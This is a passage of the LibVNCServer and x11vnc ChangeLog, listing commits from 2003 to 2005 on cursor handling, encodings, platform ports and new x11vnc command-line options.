6502	* ChangeLog, configure.ac:  configure.ac: --with-jpeg=DIR --with-zlib=DIR, /usr/sfw
6503
65042005-02-05  runge <runge>
6505
6506	* ChangeLog, tightvnc-1.3dev5-vncviewer-alpha-cursor.patch,
6507	x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6508	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc -solid color, -opts; tightvnc unix viewer alpha patch
6509
65102005-01-25  dscho <dscho>
6511
6512	* TODO, libvncserver/rfbserver.c: 10l: really fix preferredEncoding
6513	set from outside
6514
65152005-01-24  runge <runge>
6516
6517	* x11vnc/x11vnc.c:  whoops, test version of x11vnc.c leaked out...
6518
65192005-01-24  runge <runge>
6520
6521	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6522	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  sync with new cursor mechanism, -timeout, -noalphablend, try :0 if
6523	 no other info
6524
65252005-01-23  dscho <dscho>
6526
6527	* test/cursortest.c: test Floyd-Steinberg dither for alpha masks
6528
65292005-01-21  dscho <dscho>
6530
6531	* TODO, libvncserver/cursor.c, rfb/rfb.h: implemented
6532	Floyd-Steinberg dither in order to rfbMakeMaskFromAlphaSource
6533
65342005-01-21  dscho <dscho>
6535
6536	* VisualNaCro/recorder.pl: use Getopt
6537
65382005-01-21  dscho <dscho>
6539
6540	* libvncclient/vncviewer.c: if no argc & argv are passed, honour the
6541	serverHost&serverPort which was set by the application
6542
65432005-01-20  dscho <dscho>
6544
6545	* test/cursortest.c: no need to strdup for MakeXCursor
6546
65472005-01-20  dscho <dscho>
6548
6549	* ChangeLog, libvncserver/cursor.c: disappearing cursor fixed &
6550	debug message purged
6551
65522005-01-20  dscho <dscho>
6553
6554	* libvncserver/cursor.c, libvncserver/main.c,
6555	libvncserver/rfbserver.c: fix disappearing cursor
6556
65572005-01-19  dscho <dscho>
6558
6559	* libvncserver/cursor.c: redraw region under old cursor even if the
6560	old cursor doesn't have to be freed.
6561
65622005-01-19  dscho <dscho>
6563
6564	* TODO: a granted wish has several children ;-)
6565
65662005-01-19  dscho <dscho>
6567
6568	* test/encodingstest.c: fix test (don't show cursor...); correctly
6569	set the encodings in the client; really test 20 seconds
6570
65712005-01-19  dscho <dscho>
6572
6573	* libvncserver/cursor.c: oops, a debug message slipped through
6574
65752005-01-18  dscho <dscho>
6576
6577	* ChangeLog, contrib/zippy.c, examples/example.c,
6578	libvncserver/cursor.c, libvncserver/main.c,
6579	libvncserver/rfbserver.c, libvncserver/selbox.c, rfb/rfb.h,
6580	vncterm/VNConsole.c, x11vnc/x11vnc.c: pointerClient was still
6581	static.  do not make requestedRegion empty without reason.  the cursor handling for clients which don't handle CursorShape
6582	updates was completely broken. It originally was very complicated
6583	for performance reasons, however, in most cases it made performance
6584	even worse, because at idle times there was way too much checking
6585	going on, and furthermore, sometimes unnecessary updates were
6586	inevitable.  The code now is much more elegant: the ClientRec structure knows
6587	exactly where it last painted the cursor, and the ScreenInfo
6588	structure knows where the cursor shall be.  As a consequence there is no more rfbDrawCursor()/rfbUndrawCursor(),
6589	no more dontSendFramebufferUpdate, and no more isCursorDrawn.  It is
6590	now possible to have clients which understand CursorShape updates
6591	and clients which don't at the same time.  rfbSetCursor no longer has the option freeOld; this is obsolete, as
6592	the cursor structure knows what to free and what not.
6593
65942005-01-18  dscho <dscho>
6595
6596	* libvncserver/rfbregion.c, rfb/rfbregion.h: add convenience
6597	function to clip using x2,y2 instead of w,h
6598
65992005-01-18  dscho <dscho>
6600
6601	* test/Makefile.am, test/cursortest.c: add a cursor test
6602	(interactive for now)
6603
66042005-01-18  dscho <dscho>
6605
6606	* VisualNaCro/.cvsignore: more ignorance
6607
66082005-01-17  dscho <dscho>
6609
6610	* index.html: LibVNCClient is included
6611
66122005-01-17  dscho <dscho>
6613
6614	* index.html: alpha cursor and VisualNaCro news
6615
66162005-01-16  dscho <dscho>
6617
6618	* VisualNaCro/.cvsignore: ignore generated files
6619
66202005-01-16  runge <runge>
6621
6622	* ChangeLog, libvncserver/cursor.c, rfb/rfb.h, x11vnc/ChangeLog,
6623	x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6624	x11vnc/x11vnc.c:  add cursor alphablending to rfb.h cursor.c, x11vnc -alphablend
6625	 -snapfb etc..
6626
66272005-01-14  dscho <dscho>
6628
6629	* VisualNaCro/Makefile.am, VisualNaCro/default8x16.h,
6630	VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 
6631	fix most TODOs; recorder.pl now actually records something; add
6632	nacro.pm to package
6633
66342005-01-14  dscho <dscho>
6635
6636	* examples/example.c: reverted segfault fix; use rfbDrawCharWithClip
6637
66382005-01-14  dscho <dscho>
6639
6640	* libvncserver/font.c: add comment "if col=bcol, assume background
6641	is transparent"
6642
66432005-01-14  dscho <dscho>
6644
6645	* libvncserver/main.c: fix comment
6646
66472005-01-14  dscho <dscho>
6648
6649	* libvncserver/rfbserver.c: close socket in ClientConnectionGone
6650
66512005-01-14  dscho <dscho>
6652
6653	* configure.ac: new version...
6654
66552005-01-14  dscho <dscho>
6656
6657	* VisualNaCro/AUTHORS, VisualNaCro/ChangeLog,
6658	VisualNaCro/Makefile.am, VisualNaCro/NEWS, VisualNaCro/README,
6659	VisualNaCro/autogen.sh, VisualNaCro/configure.ac,
6660	VisualNaCro/nacro.c, VisualNaCro/nacro.h, VisualNaCro/recorder.pl: 
6661	VisualNacro, a visual macro recorder for VNC. Alpha version
6662
66632005-01-14  dscho <dscho>
6664
6665	* libvncserver/main.c, rfb/rfb.h: return value of rfbProcessEvents
6666	tells if an update was pending
6667
66682005-01-14  dscho <dscho>
6669
6670	* libvncserver/font.c: fix segfault when trying to write outside of
6671	frameBuffer
6672
66732005-01-14  dscho <dscho>
6674
6675	* libvncclient/vncviewer.c: argc and argv may be zero (which means
6676	to ignore them)
6677
66782005-01-03  dscho <dscho>
6679
6680	* libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h: add hook
6681	to allow for custom client messages
6682
66832004-12-27  runge <runge>
6684
6685	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6686	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: improve XFIXES cursor transparency, more remote-control
6687	 cmds.
6688
66892004-12-23  runge <runge>
6690
6691	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
6692
66932004-12-23  runge <runge>
6694
6695	* x11vnc/Makefile.am:  x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
6696
66972004-12-23  runge <runge>
6698
6699	* x11vnc/Makefile.am:  x11vnc: need tkx11vnc and tkx11vnc.h in x11vnc package
6700
67012004-12-23  runge <runge>
6702
6703	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
6704	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6705	x11vnc/x11vnc.c:  x11vnc: minor tweaks for x11vnc 0.7 file release
6706
67072004-12-20  dscho <dscho>
6708
6709	* index.html: Ooh, I'm lazy. Some news were added retroactively.
6710
67112004-12-20  dscho <dscho>
6712
6713	* ChangeLog, configure.ac, index.html: released 0.7
6714
67152004-12-20  dscho <dscho>
6716
6717	* examples/mac.c: compile fix on mac; still untested...
6718
67192004-12-20  dscho <dscho>
6720
6721	* test/Makefile.am: fix for MinGW
6722
67232004-12-20  runge <runge>
6724
6725	* x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
6726	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: minor tweaks for 0.7 file release
6727
67282004-12-20  runge <runge>
6729
6730	* ChangeLog, libvncserver/cursor.c, x11vnc/ChangeLog,
6731	x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6732	x11vnc/x11vnc.c:  x11vnc: synchronous mode for -remote, string cleanup
6733
67342004-12-17  dscho <dscho>
6735
6736	* libvncserver/cursor.c: don't mix up width & height!
6737
67382004-12-17  runge <runge>
6739
6740	* ChangeLog, test/encodingstest.c, x11vnc/ChangeLog, x11vnc/README,
6741	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6742	x11vnc/x11vnc.c:  x11vnc: XFIXES cursorshape, XRANDR resize, remote control, gui
6743
67442004-12-01  dscho <dscho>
6745
6746	* rfb/rfb.h: fix compilation on non MinGW32...
6747
67482004-12-01  dscho <dscho>
6749
6750	* ChangeLog, TODO, client_examples/Makefile.am,
6751	client_examples/SDLvncviewer.c, configure.ac, contrib/Makefile.am,
6752	examples/Makefile.am, examples/vncev.c, libvncclient/listen.c,
6753	libvncclient/rfbproto.c, libvncclient/sockets.c,
6754	libvncclient/vncviewer.c, libvncserver-config.in,
6755	libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c,
6756	rfb/rfb.h, rfb/rfbproto.h, test/Makefile.am, vncterm/Makefile.am,
6757	x11vnc/Makefile.am: support MinGW32!
6758
67592004-12-01  dscho <dscho>
6760
6761	* AUTHORS, libvncclient/listen.c, libvncclient/sockets.c,
6762	libvncclient/vncviewer.c: use rfbClientErr to log errors, check if
6763	calloc succeded (both hinted by Andre Leiradella)
6764
67652004-11-30  dscho <dscho>
6766
6767	* ChangeLog, libvncclient/sockets.c: fix long reads (in some events
6768	of success, no TRUE was returned)
6769
67702004-11-30  dscho <dscho>
6771
6772	* rfb/rfbproto.h: add EncodingUltra; it is not implemented in the
6773	libraries yet, so this is just a place holder
6774
67752004-10-16  dscho <dscho>
6776
6777	* TODO: TODOs from encodingstest
6778
67792004-10-16  dscho <dscho>
6780
6781	* test/.cvsignore: tight-1 -> encodingstest
6782
67832004-10-16  dscho <dscho>
6784
6785	* test/Makefile.am, test/encodingstest.c, test/tight-1.c: rename
6786	tight-1.c into encodingstest.c, fixing it in the process. It now
6787	passes all encodings except corre (broken) and zrle (not yet
6788	implemented in libvncclient)
6789
67902004-10-16  dscho <dscho>
6791
6792	* libvncclient/rfbproto.c, libvncclient/sockets.c,
6793	libvncclient/tight.c, libvncclient/vncviewer.c,
6794	libvncclient/zlib.c, rfb/rfbclient.h: move read buffer to rfbClient
6795	structure (thread safety); make rfbClientLog overrideable
6796
67972004-10-15  dscho <dscho>
6798
6799	* test/tight-1.c: compiles, 1st run is okay, 2nd and subsequent give
6800	errors. Evidently, libvncclient is not yet reentrant (or
6801	threadsafe).
6802
68032004-10-15  dscho <dscho>
6804
6805	* libvncclient/vncviewer.c: no need to modify argv
6806
68072004-10-15  dscho <dscho>
6808
6809	* TODO: ideas
6810
68112004-10-15  dscho <dscho>
6812
6813	* test/tight-1.c: compiling, non functional version of a unit test
6814	for encodings
6815
68162004-10-04  dscho <dscho>
6817
6818	* TODO: cursor problem
6819
68202004-10-02  dscho <dscho>
6821
6822	* libvncserver/rfbserver.c: release client list mutex earlier
6823
68242004-09-14  dscho <dscho>
6825
6826	* index.html, success.html: added success stories and link to
6827	x11vnc's home
6828
68292004-09-14  dscho <dscho>
6830
6831	* success.html: add success stories (only one at the moment)
6832
68332004-09-07  dscho <dscho>
6834
6835	* index.html: new API
6836
68372004-09-03  dscho <dscho>
6838
6839	* libvncserver/rfbregion.c: output only via rfbErr
6840
68412004-09-03  dscho <dscho>
6842
6843	* libvncserver-config.in: libvncserver.a is in libvncserver/ now
6844
68452004-09-01  runge <runge>
6846
6847	* ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
6848	x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: new pointer input handling algorithm; x11vnc pkg installs
6849	 java viewer
6850
68512004-08-30  dscho <dscho>
6852
6853	* ChangeLog: API changes
6854
68552004-08-30  dscho <dscho>
6856
6857	* contrib/zippy.c, examples/colourmaptest.c, examples/example.c,
6858	examples/pnmshow.c, examples/pnmshow24.c, examples/storepasswd.c,
6859	examples/vncev.c, libvncclient/rfbproto.c, libvncserver/auth.c,
6860	libvncserver/cargs.c, libvncserver/corre.c, libvncserver/cursor.c,
6861	libvncserver/d3des.c, libvncserver/d3des.h, libvncserver/font.c,
6862	libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
6863	libvncserver/rfbserver.c, libvncserver/rre.c,
6864	libvncserver/selbox.c, libvncserver/sockets.c,
6865	libvncserver/stats.c, libvncserver/tight.c,
6866	libvncserver/translate.c, libvncserver/vncauth.c,
6867	libvncserver/zlib.c, libvncserver/zrle.c, rfb/rfb.h,
6868	rfb/rfbproto.h, test/cargstest.c, test/copyrecttest.c,
6869	vncterm/LinuxVNC.c, vncterm/VNConsole.c, vncterm/VNConsole.h,
6870	x11vnc/x11vnc.c: global structures/functions should have "rfb",
6871	"sra" or "zrle" as prefix, while structure members should not
6872
68732004-08-30  dscho <dscho>
6874
6875	* client_examples/Makefile.am: my ffmpeg was compiled with
6876	mp3lame...
6877
68782004-08-30  runge <runge>
6879
6880	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6881	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -cursor change shape handling, configure.ac: add more
6882	 macros for X extensions
6883
68842004-08-17  dscho <dscho>
6885
6886	* index.html: news: QEMU patch v6
6887
68882004-08-15  runge <runge>
6889
6890	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
6891	x11vnc/x11vnc.c:  x11vnc: -overlay to fix colors with Sun 8+24 overlay visuals. -sid
6892	 option.
6893
68942004-08-04  runge <runge>
6895
6896	* x11vnc/README, x11vnc/x11vnc.1:  fix XKBlib.h detection on *BSD, x11vnc: manpage and README
6897
68982004-08-04  runge <runge>
6899
6900	* ChangeLog, configure.ac, prepare_x11vnc_dist.sh,
6901	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c:  fix XKBlib.h detection on *BSD, x11vnc: manpage and README
6902
69032004-07-31  runge <runge>
6904
6905	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: adjust version number and output
6906
69072004-07-31  runge <runge>
6908
6909	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -cursorpos now the default, fix cursorpos + scaling bug.
6910
69112004-07-29  runge <runge>
6912
6913	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -add_keysyms dynamically add missing keysyms to X server
6914
69152004-07-27  runge <runge>
6916
6917	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -xkb (XKEYBOARD modtweak), -skip_keycodes, multi lines in
6918	 x11vncrc
6919
69202004-07-19  runge <runge>
6921
6922	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: ignore keysyms >4 for a keycode, add lastmod to -help,
6923	 -version
6924
69252004-07-16  runge <runge>
6926
6927	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/x11vnc.c:  modtweak is now the default for x11vnc; check X11/XKBlib.h in
6928	 configure.ac
6929
69302004-07-11  runge <runge>
6931
6932	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -norepeat to turn off X server autorepeat when clients
6933	 exist.
6934
69352004-07-05  runge <runge>
6936
6937	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: extend -allow to re-read a file with allowed IP addresses.
6938
69392004-07-02  runge <runge>
6940
6941	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: improve scaled grid calc to regain text compression. add
6942	 :pad option
6943
69442004-06-30  dscho <dscho>
6945
6946	* libvncclient/vncviewer.c: do not use GNU-only getline
6947
69482004-06-28  runge <runge>
6949
6950	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: round scaled width to multiple of 4 to make vncviewer
6951	 happy.
6952
69532004-06-27  runge <runge>
6954
6955	* x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: speed up scaling a bit, add no blending option to -scale
6956
69572004-06-26  runge <runge>
6958
6959	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: add "-scale fraction" for global server-side scaling.
6960
69612004-06-18  dscho <dscho>
6962
6963	* libvncserver/zrleencodetemplate.c, test/tight-1.c,
6964	vncterm/LinuxVNC.c, vncterm/VNCommand.c, vncterm/VNConsole.c,
6965	vncterm/example.c: convert c++ comments to c comments
6966
69672004-06-18  dscho <dscho>
6968
6969	* libvncserver/sockets.c: debug
6970
69712004-06-18  dscho <dscho>
6972
6973	* client_examples/SDLvncviewer.c: cleanups; libvncclient supports
6974	-encodings already
6975
69762004-06-18  dscho <dscho>
6977
6978	* client_examples/vnc2mpg.c: cleanups; support vncrec'orded files as
6979	input
6980
69812004-06-18  dscho <dscho>
6982
6983	* examples/example.c, examples/pnmshow.c, examples/pnmshow24.c: now
6984	that the examples reside in a subdirectory, the classes path has to
6985	be adapted
6986
69872004-06-18  dscho <dscho>
6988
6989	* rfb/rfbclient.h: more comments; support playing vncrec'orded files
6990
69912004-06-18  dscho <dscho>
6992
6993	* libvncclient/rfbproto.c, libvncclient/sockets.c,
6994	libvncclient/vncviewer.c: support password reading with getpass();
6995	support -play to play vncrec'orded files
6996
69972004-06-17  runge <runge>
6998
6999	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: simple ~/.x11vncrc config file support, -rc, -norc
7000
70012004-06-15  dscho <dscho>
7002
7003	* TODO: fixed
7004
70052004-06-15  dscho <dscho>
7006
7007	* libvncclient/hextile.c: fix silly hextile bug
7008
70092004-06-15  dscho <dscho>
7010
7011	* libvncclient/rfbproto.c: recognize more encodings
7012
70132004-06-15  dscho <dscho>
7014
7015	* libvncclient/sockets.c: debug
7016
70172004-06-15  dscho <dscho>
7018
7019	* libvncserver/rfbserver.c: fix CoRRE with maxRectsPerUpdate bug
7020
70212004-06-15  dscho <dscho>
7022
7023	* libvncclient/rfbproto.c: fix silly update bug with raw encoding
7024
70252004-06-12  runge <runge>
7026
7027	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: -clear_mods -clear_keys -storepasswd, add RFB_SERVER_IP
7028	 RFB_SERVER_PORT to -accept/-gone
7029
70302004-06-08  dscho <dscho>
7031
7032	* client_examples/Makefile.am, configure.ac: fix compilation on IRIX
7033
70342004-06-08  dscho <dscho>
7035
7036	* configure.ac: fix test for sdl
7037
70382004-06-08  dscho <dscho>
7039
7040	* client_examples/SDLvncviewer.c: fix compilation on MacOSX
7041
70422004-06-07  dscho <dscho>
7043
7044	* index.html: layout and wording fix
7045
70462004-06-07  dscho <dscho>
7047
7048	* index.html: more news
7049
70502004-06-07  dscho <dscho>
7051
7052	* .cvsignore, prepare_x11vnc_dist.sh: now that it is released,
7053	increment x11vnc's version
7054
70552004-06-07  dscho <dscho>
7056
7057	* .cvsignore, client_examples/.cvsignore, libvncclient/.cvsignore,
7058	libvncserver/.cvsignore, test/.cvsignore, x11vnc/.cvsignore: all
7059	this moving and renaming needs changes in the cvsignores, too!
7060
70612004-06-07  dscho <dscho>
7062
7063	* LibVNCServer.spec.in, Makefile.am, libvncserver.spec.in,
7064	prepare_x11vnc_dist.sh: fix bug 968264: make rpm did not work with
7065	x11vnc package
7066
70672004-06-07  dscho <dscho>
7068
7069	* client_examples/Makefile.am, client_examples/vnc2mpg.c,
7070	configure.ac: add vnc2mpg, a program which makes a movie from a VNC
7071	desktop using FFMPEG
7072
70732004-06-07  dscho <dscho>
7074
7075	* TODO, client_examples/SDLvncviewer.c: added -encodings
7076
70772004-06-07  dscho <dscho>
7078
7079	* ChangeLog, TODO, libvncserver/cursor.c, rfb/rfb.h: fix cursor
7080	trails (when not using cursor encoding and moving the cursor, the
7081	redrawn part of the screen didn't get updated, and so left cursor
7082	trails).
7083
70842004-06-07  dscho <dscho>
7085
7086	* client_examples/SDLvncviewer.c: add mouse button handling
7087
70882004-06-07  dscho <dscho>
7089
7090	* ChangeLog, Makefile.am, TODO, client_examples/Makefile.am,
7091	client_examples/SDLvncviewer.c, client_examples/ppmtest.c,
7092	configure.ac, contrib/Makefile.am, examples/Makefile.am,
7093	examples/blooptest.c, examples/copyrecttest.c,
7094	libvncclient/Makefile.am, libvncclient/client_test.c,
7095	libvncclient/sockets.c, libvncclient/vncviewer.c,
7096	libvncserver/Makefile.am, prepare_x11vnc_dist.sh, rfb/rfbclient.h,
7097	test/Makefile.am, test/blooptest.c, test/copyrecttest.c,
7098	test/tight-1.c, x11vnc/Makefile.am: add client_examples/, add
7099	SDLvncviewer, libvncclient API changes, suppress automake CFLAGS
7100	nagging
7101
71022004-06-06  runge <runge>
7103
7104	* ChangeLog, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: rearrange file for easier maintenance, add RFB_CLIENT_COUNT
7105	 to -accept/-gone
7106
71072004-05-28  runge <runge>
7108
7109	* x11vnc/x11vnc.c: [no log message]
7110
71112004-05-27  runge <runge>
7112
7113	* ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c,
7114	prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/x11vnc.c:  x11vnc: view-only plain passwd: -viewpasswd and 2nd line of
7115	 -passwdfile
7116
71172004-05-25  dscho <dscho>
7118
7119	* prepare_x11vnc_dist.sh: a script which automatically converts a
7120	few files to make an x11vnc release
7121
71222004-05-25  dscho <dscho>
7123
7124	* configure.ac: -lvncserver is not default now
7125
71262004-05-25  dscho <dscho>
7127
7128	* ChangeLog, Makefile.am, auth.c, cargs.c, configure.ac,
7129	contrib/ChangeLog, contrib/Makefile.am, contrib/x11vnc.c, corre.c,
7130	cursor.c, cutpaste.c, d3des.c, d3des.h, draw.c,
7131	examples/Makefile.am, examples/regiontest.c, font.c, hextile.c,
7132	httpd.c, libvncclient/rfbproto.c, libvncserver/Makefile.am,
7133	libvncserver/auth.c, libvncserver/cargs.c, libvncserver/config.h,
7134	libvncserver/corre.c, libvncserver/cursor.c,
7135	libvncserver/cutpaste.c, libvncserver/d3des.c,
7136	libvncserver/d3des.h, libvncserver/draw.c, libvncserver/font.c,
7137	libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
7138	libvncserver/rfbconfig.h, libvncserver/rfbregion.c,
7139	libvncserver/rfbserver.c, libvncserver/rre.c,
7140	libvncserver/selbox.c, libvncserver/sockets.c,
7141	libvncserver/stats.c, libvncserver/tableinit24.c,
7142	libvncserver/tableinitcmtemplate.c,
7143	libvncserver/tableinittctemplate.c,
7144	libvncserver/tabletrans24template.c,
7145	libvncserver/tabletranstemplate.c, libvncserver/tight.c,
7146	libvncserver/translate.c, libvncserver/vncauth.c,
7147	libvncserver/zlib.c, libvncserver/zrle.c,
7148	libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c,
7149	libvncserver/zrleoutstream.h, libvncserver/zrlepalettehelper.c,
7150	libvncserver/zrlepalettehelper.h, libvncserver/zrletypes.h, main.c,
7151	rfbregion.c, rfbserver.c, rre.c, selbox.c, sockets.c, stats.c,
7152	tableinit24.c, tableinitcmtemplate.c, tableinittctemplate.c,
7153	tabletrans24template.c, tabletranstemplate.c, test/Makefile.am,
7154	tight.c, translate.c, vncauth.c, vncterm/Makefile.am,
7155	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/x11vnc.c, zlib.c,
7156	zrle.c, zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
7157	zrlepalettehelper.c, zrlepalettehelper.h, zrletypes.h: move the
7158	library into libvncserver/, x11vnc into x11vnc/
7159
71602004-05-22  runge <runge>
7161
7162	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c, httpd.c:  x11vnc: -gone, -passwdfile, -o logfile; add view-only to -accept
7163
71642004-05-14  runge <runge>
7165
7166	* contrib/x11vnc.c:  x11vnc: more -inetd fixes.
7167
71682004-05-14  runge <runge>
7169
7170	* contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: less fprintf under -q so '-q -inetd' has no stderr output.
7171
71722004-05-13  runge <runge>
7173
7174	* contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: improvements to -accept popup: yes/no buttons and timeout.
7175
71762004-05-08  runge <runge>
7177
7178	* contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: clean up -Wall warnings.
7179
71802004-05-08  runge <runge>
7181
7182	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: add -accept some-command/xmessage/popup
7183
71842004-05-06  runge <runge>
7185
7186	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: mouse -> keystroke and keystroke -> mouse remappings.
7187
71882004-05-05  dscho <dscho>
7189
7190	* rfbserver.c, sockets.c: prevent segmentation fault when requested
7191	area is too big; if select is interrupted while WriteExact, just try
7192	again.
7193
71942004-04-28  runge <runge>
7195
7196	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: add -auth, more -cursorpos and -nofb work
7197
71982004-04-20  runge <runge>
7199
7200	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: add -cursorpos for Cursor Position Updates, and -sigpipe
7201
72022004-04-19  dscho <dscho>
7203
7204	* main.c: ignore SIGPIPE the correct way
7205
72062004-04-13  runge <runge>
7207
7208	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc: do not send selection unless all clients are in RFB_NORMAL
7209	 state.  increase rfbMaxClientWait when threaded to avoid
7210	ReadExact() timeouts for some viewers.
7211
72122004-04-12  dscho <dscho>
7213
7214	* configure.ac: fix compilation without jpeg and a certain autoconf
7215	version
7216
72172004-04-08  runge <runge>
7218
7219	* ChangeLog, configure.ac, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc options -blackout, -xinerama, -xwarppointer.  check cargs.   modify configure.ac to pick up -lXinerama
7220
72212004-03-24  dscho <dscho>
7222
7223	* examples/pnmshow.c: add support for pgm and pbm (8-bit and 1-bit
7224	grayscale images)
7225
72262004-03-22  dscho <dscho>
7227
7228	* ChangeLog, cargs.c, test/Makefile.am, test/cargstest.c: fix
7229	cargs.c: arguments were not correctly purged.
7230
72312004-03-15  dscho <dscho>
7232
7233	* ChangeLog, libvncserver-config.in: fix --link for
7234	libvncserver-config
7235
72362004-03-11  runge <runge>
7237
7238	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc options -vncconnect, -connect, -remap,  -debug_pointer, and -debug_keyboard  add reverse connections, keysym remapping,  and debug output option
7239
72402004-02-29  dscho <dscho>
7241
7242	* index.html: link to pre.tar.gz, mention valgrind
7243
72442004-02-29  dscho <dscho>
7245
7246	* index.html: update on news
7247
72482004-02-29  dscho <dscho>
7249
7250	* ChangeLog, rfbregion.c: fixed valgrind warning
7251
72522004-02-20  runge <runge>
7253
7254	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc options -nosel -noprimary -visual.   add clipboard/selection handling.   add visual option (mostly for testing and workarounds).   improve shm cleanup on failures.
7255
72562004-02-04  dscho <dscho>
7257
7258	* AUTHORS, ChangeLog, examples/colourmaptest.c,
7259	examples/copyrecttest.c, examples/example.c, examples/simple.c,
7260	examples/simple15.c, examples/vncev.c: make examples g++
7261	compileable, thanks to Juan Jose Costello
7262
72632004-01-30  dscho <dscho>
7264
7265	* ChangeLog, rfbserver.c: memory leaks fixed
7266
72672004-01-29  dscho <dscho>
7268
7269	* ChangeLog, Makefile.am, configure.ac, tight.c, zlib.c, zrle.c,
7270	zrleencodetemplate.c, zrleoutstream.c, zrleoutstream.h,
7271	zrlepalettehelper.c, zrlepalettehelper.h: Honour the check for libz,
7272	libjpeg again
7273
72742004-01-21  dscho <dscho>
7275
7276	* ChangeLog, cargs.c, main.c, rfb/rfb.h, rfbserver.c: add
7277	"-progressive height" option to make SendFramebufferUpdate
7278	"preemptive"
7279
72802004-01-21  dscho <dscho>
7281
7282	* ChangeLog: update
7283
72842004-01-21  dscho <dscho>
7285
7286	* examples/.cvsignore: ignore all test programs
7287
72882004-01-21  dscho <dscho>
7289
7290	* examples/Makefile.am, examples/copyrecttest.c: add a simple
7291	example how to use rfbDoCopyRect
7292
72932004-01-21  dscho <dscho>
7294
7295	* main.c, rfb/rfb.h: ignore SIGPIPE by default; it is handled via
7296	EPIPE
7297
72982004-01-21  dscho <dscho>
7299
7300	* cursor.c: do not send unnecessary updated because of cursor
7301	drawing
7302
73032004-01-19  runge <runge>
7304
7305	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  handle mouse button number mismatch  improved pointer input handling during drags, etc.   somewhat faster copy_tiles() -> copy_tiles()  x11vnc options -buttonmap -old_pointer -old_copytile
7306
73072004-01-19  dscho <dscho>
7308
7309	* configure.ac: 0.6 is out... version is 0.7pre now
7310
73112004-01-19  dscho <dscho>
7312
7313	* vncterm/Makefile.am: inherit CFLAGS
7314
73152004-01-19  dscho <dscho>
7316
7317	* vncterm/VNConsole.c: fix usage of non-existent attribute buffer
7318
73192004-01-16  dscho <dscho>
7320
7321	* ChangeLog, cargs.c, configure.ac, contrib/Makefile.am,
7322	rfbserver.c, vncauth.c: compile fix for cygwin
7323
73242004-01-10  runge <runge>
7325
7326	* ChangeLog, contrib/ChangeLog, contrib/x11vnc.c:  x11vnc options -allow, -localhost, -nodragging, -input_skip  minimize memory usage under -nofb
7327
73282003-12-09  dscho <dscho>
7329
7330	* libvncclient/hextile.c: fix compilation with Mac OSX: preprocessor
7331	can't do recursive macros
7332
73332003-12-09  runge <runge>
7334
